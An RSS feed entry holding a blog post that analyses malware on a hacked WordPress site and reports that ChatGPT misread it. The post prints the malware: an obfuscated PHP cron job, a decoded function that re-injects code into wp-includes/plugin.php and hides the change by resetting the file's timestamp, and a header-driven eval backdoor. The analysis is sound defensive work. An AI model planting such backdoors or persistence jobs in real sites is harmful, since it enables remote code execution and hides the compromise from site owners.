<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Martin Kouba on Medium]]></title>
        <description><![CDATA[Stories by Martin Kouba on Medium]]></description>
        <link>https://medium.com/@martin.kouba?source=rss-1da1d96a5640------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3_iiNZoudY5nFszCTp0Zzw.jpeg</url>
            <title>Stories by Martin Kouba on Medium</title>
            <link>https://medium.com/@martin.kouba?source=rss-1da1d96a5640------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 07:53:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@martin.kouba/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Can we rely on ChatGPT for security analysis of malicious code?]]></title>
            <link>https://medium.com/@martin.kouba/can-we-rely-on-chatgpt-for-security-analysis-of-malicious-code-53340c25f4f2?source=rss-1da1d96a5640------2</link>
            <guid isPermaLink="false">https://medium.com/p/53340c25f4f2</guid>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[security-analysis]]></category>
            <category><![CDATA[chatgpt4]]></category>
            <category><![CDATA[wordpress-hacked]]></category>
            <dc:creator><![CDATA[Martin Kouba]]></dc:creator>
            <pubDate>Tue, 21 Mar 2023 23:56:04 GMT</pubDate>
            <atom:updated>2023-03-22T00:16:31.007Z</atom:updated>
            <content:encoded><![CDATA[<p>TLDR; No we can’t</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ksVhddbsTVKLUNXdTzXoqw.png" /></figure><p>Recently I was asked to check for some strang error messages in a log file. As so often these days it was a compromised website. The malicious code created a cron entry for the user the webserver was running in. (It is a good idea to have a scheduled check for those entries.)</p><pre># ls /var/spool/cron/crontabs/<br>www-data<br># cat /var/spool/cron/crontabs/www-data<br>* * * * * /usr/bin/php -r &#39;eval(gzinflate(base64_decode(&quot;jVFrb6JAFP...DeBlcQ7uw3&quot;)));&#39;</pre><p>Now when I manually try to find out what that means I go for a multistep extraction of the code.</p><pre># php -r &#39;echo gzinflate(base64_decode(&quot;jVFrb6JAFP...DeBlcQ7uw3&quot;));&#39;<br>phpConfValidate(&#39;YTo0OntpOj...tce35tIjt9&#39;);<br>function phpConfValidate($ser) {<br><br>    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));<br>    $source = file_get_contents($fullPath);<br>    if (strstr($source, $systemEnv) !== false) {<br>        return;<br>    }<br>    if (!preg_match($pattern, $source, $matches)) {<br>        return;<br>    }<br>    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);<br>    if (strstr($newSource, $systemEnv) === false) {<br>        return;<br>    }<br>    $filemtime = filemtime($fullPath) + 10;<br>    unlink($fullPath);<br>    file_put_contents($fullPath, $newSource);<br>    touch($fullPath, $filemtime);<br>}</pre><p>Then we take a peek into the next part.</p><pre># php -r &#39;var_dump(unserialize(base64_decode(&quot;YTo0OntpOj...tce35tIjt9&quot;)));&#39;<br>array(4) {<br>  [0]=&gt;<br>  string(58) &quot;/var/www/&lt;compromised-domain&gt;/www/html/wp-includes/plugin.php&quot;<br>  [1]=&gt;<br>  string(7) &quot;13CB927&quot;<br>  [2]=&gt;<br>  string(32) &quot;@eval($_SERVER[&#39;HTTP_13CB927&#39;]);&quot;<br>  [3]=&gt;<br>  string(36) &quot;~^\s*function\s+add_filter[^\{]+\{~m&quot;<br>}</pre><p>As so often it was a WordPress site. The compromised code part gets injected in “wp-includes/plugin.php”</p><pre>@eval($_SERVER[&#39;HTTP_13CB927&#39;]);</pre><p>With this the attacker can send a custom HTTP request containing the custom header where the code would be executed.</p><p>Should somebody try to fix the compromised code the cron job makes sure that the code is being injected again every minute.</p><p>Now what does ChatGPT make out of that?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*etSmTw7ygBg-n2153R5NQw.png" /></figure><p>Since does not look like an image creation script I gave ChatGPT a hint. And indeed it can produce an answer that makes sense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*wwiw0iXeywsjKxI8w01FVA.png" /></figure><p>Now, we have already deconstructed the code before. So the answer is completely wrong. I gave ChatGPT another go with a slight change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*5rAdlBmMaanhC0gmVCrLvQ.png" /></figure><p>Also this result is a possible answer, but absolutely wrong. And I told ChatGPT what I thought about the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*JnNg6m1kfy_QOwcMJmIgcw.png" /></figure><p>It is really trying hard, but all in vain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*wzArautXIJ3uvyna6g-mwA.png" /></figure><p>Conclusion: ChatGPT at times switches to smartass mode to hide its incapability. Difficulty is to detect that behaviour.</p><p>If boldly confronted, ChatGPT will eventually admit its defeat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*QNCWXuaNFPH9CBJ_MCC0Fw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53340c25f4f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>